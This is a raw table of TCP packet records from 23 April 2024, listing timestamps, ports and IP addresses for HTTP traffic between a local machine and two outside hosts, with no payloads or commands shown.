Apr 23, 2024 09:38:04.262022018 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.262029886 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.262058973 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.262094975 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.262110949 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.262130976 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.262166977 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.262178898 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.262202978 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.262238979 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.262269020 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.262274027 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.262310028 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.262320042 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.262345076 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.262381077 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.262392998 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.262418032 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.262455940 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.262468100 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.262492895 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.262528896 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.262543917 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.262564898 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.262599945 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.262635946 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.262649059 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.262672901 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.262680054 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.262712002 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.262747049 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.262784004 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.262795925 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.262820005 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.262828112 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.262857914 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.262893915 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.262919903 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.262932062 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.262965918 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.262974977 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.263001919 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.263037920 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.263050079 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.263075113 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.263111115 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.263125896 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.263145924 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.263183117 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.263207912 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.263219118 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.263256073 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.263292074 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.263318062 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.263325930 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.263329029 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.263365030 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.263400078 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.263412952 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.263434887 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.263473034 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.263484955 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.263509035 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.263545036 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.263556957 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.263580084 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.263616085 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.263623953 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.263652086 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.263688087 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.263700008 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.263725042 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.263761997 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.263775110 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.263797998 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.263834000 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.263853073 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.263869047 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.263905048 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.263917923 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.263942003 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.263978004 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.263989925 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.264014959 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.264050007 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.264060020 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.264087915 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.264139891 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.264142990 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.264178991 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.264214993 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.264228106 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.264250994 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.264286995 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.264322996 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.264333010 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.264358044 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.264364958 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.264399052 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.264434099 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.264470100 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.264477015 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.264504910 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.264540911 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.264553070 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.264576912 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.264612913 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.264620066 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.264650106 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.264656067 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.264687061 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.264708996 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.264724016 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.264734030 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.264760017 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.264770985 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.264796972 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.264803886 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.264833927 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.264844894 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.264870882 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.264878988 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.264908075 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.264919043 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.264945984 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.264959097 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.264982939 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.264991999 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.265019894 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.265027046 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.265068054 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.265077114 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.265104055 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.265116930 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.265141010 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.265149117 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.265177011 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.265188932 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.265213966 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.265250921 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.265253067 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.265276909 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.265288115 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.265301943 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.265324116 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.265337944 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.265358925 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.265379906 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.265394926 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.265400887 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.265433073 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.265440941 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.265471935 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.265492916 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.265508890 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.265517950 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.265546083 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.265551090 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.265583038 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.265588999 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.265620947 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.265628099 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.265660048 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.265670061 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.265696049 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.265722036 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.265733004 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.265741110 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.265769005 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.265775919 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.265805006 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.265841961 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.265853882 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.265877962 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.265887976 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.265914917 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.265923977 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.265952110 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.265961885 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.265988111 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.265997887 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.266024113 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.266033888 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.266069889 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.429281950 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.498931885 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.498995066 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.499020100 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.499032021 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.499068975 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.499070883 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.499098063 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.499105930 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.499119997 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.499142885 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.499174118 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.499181032 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.499212027 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.499217987 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.499257088 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.499269009 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.499269009 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.499309063 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.499325991 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.499346018 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.499367952 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.499397039 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.499399900 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.499435902 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.499449968 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.499473095 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.499496937 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.499509096 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.499515057 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.499543905 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.499557018 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.499582052 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.499588966 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.499617100 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.499631882 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.499655008 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.499681950 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.499690056 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.499731064 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.499736071 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.499767065 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.499780893 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.499804020 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.499811888 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.499840021 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.499850988 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.499877930 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.499902010 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.499913931 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.499921083 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.499949932 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.499963045 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.499986887 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.500013113 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.500022888 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.500031948 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.500060081 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.500066996 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.500096083 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.500128984 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.500149012 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.500159979 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.500197887 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.500212908 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.500235081 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.500245094 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.500273943 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.500302076 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.500309944 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.500317097 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.500345945 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.500359058 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.500382900 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.500391960 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.500417948 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.500442028 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.500454903 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.500468016 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.500490904 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.500526905 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.500536919 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.500562906 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.500566959 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.500600100 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.500607967 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.500637054 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.500648022 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.500673056 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.500684023 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.500709057 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.500740051 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.500749111 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.500757933 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.500783920 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.500793934 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.500821114 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.500837088 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.500858068 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.500860929 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.500900030 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.500905037 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.500937939 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.500951052 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.500973940 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.500982046 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.501009941 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.501029968 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.501045942 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.501049042 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.501081944 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.501091003 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.501116991 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.501127958 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.501152992 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.501156092 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.501189947 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.501198053 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.501225948 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.501240015 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.501264095 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.501269102 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.501300097 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.501308918 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.501336098 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.501420975 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.501429081 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.501458883 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.501471043 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.501496077 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.501502991 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.501532078 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.501545906 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.501569033 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.501578093 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.501605034 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.501616001 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.501641035 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.501653910 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.501676083 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.501687050 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.501712084 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.501724005 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.501749039 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.501758099 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.501785994 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.501807928 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.501821041 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.501827002 CEST	49734	80	192.168.2.4	176.97.76.106
